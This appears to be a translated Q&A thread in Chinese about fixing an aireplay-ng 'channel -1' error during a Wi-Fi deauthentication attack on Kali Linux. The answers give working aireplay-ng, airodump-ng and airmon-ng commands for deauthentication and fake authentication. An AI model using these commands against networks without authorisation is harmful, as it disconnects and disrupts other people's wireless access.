aireplay-ng -0 3 -a xx:xx:xx:xx mon0 15:31:35 等待通道 -1 上的信标帧 (BSSID:xx:xx:xx:xx) 15:31:35 无法确定当前mon0 的通道,您应该使用 --ignore-negative-one 强制操作或应用内核补丁 请指定 ESSID (-e)。
我在使用命令时在 kali linux(带更新的最新版本)中遇到此错误
~#aireplay-ng -0 2 -a xx:xx:xx:xx:xx mon0
(取消身份验证攻击)。那么,这个错误是什么以及如何解决。谢谢!
答案1
当您进行 AirPlay 攻击时,您通常需要停止 airodump 进程并指定所需的所有信息,例如
Root@kali $: aireplay-ng -0 0 -e [target wifi mac] -a [target station mac] mon0
如果这不起作用,请应用“--ignore-negative-one”选项
Root@kali $: aireplay-ng -0 0 -e [target wifi mac] -a [target station mac] --ignore-negative-one mon0
答案2
您当前正在运行 airodump-ng 吗?您需要先关联频道。这是一个由两部分组成的过程
前任:
airodump-ng --bssid [MAC 地址] --channel 11 -w test.out mon0
aireplay-ng -1 0 -e [无线网络名称] -a [MAC 地址] -h [MAC 地址] mon0
答案3
当您进入监控模式时,您可以指定一个通道,如下所示:“airmon-ng start wlan0 x”,其中 x 是通道号。如果您不知道正在自学的 AP 的通道号,您可以使用省略的通道号启动监视器模块,启动 airodump,您将在表中看到通道号。然后只需用该通道重新启动监控模式即可。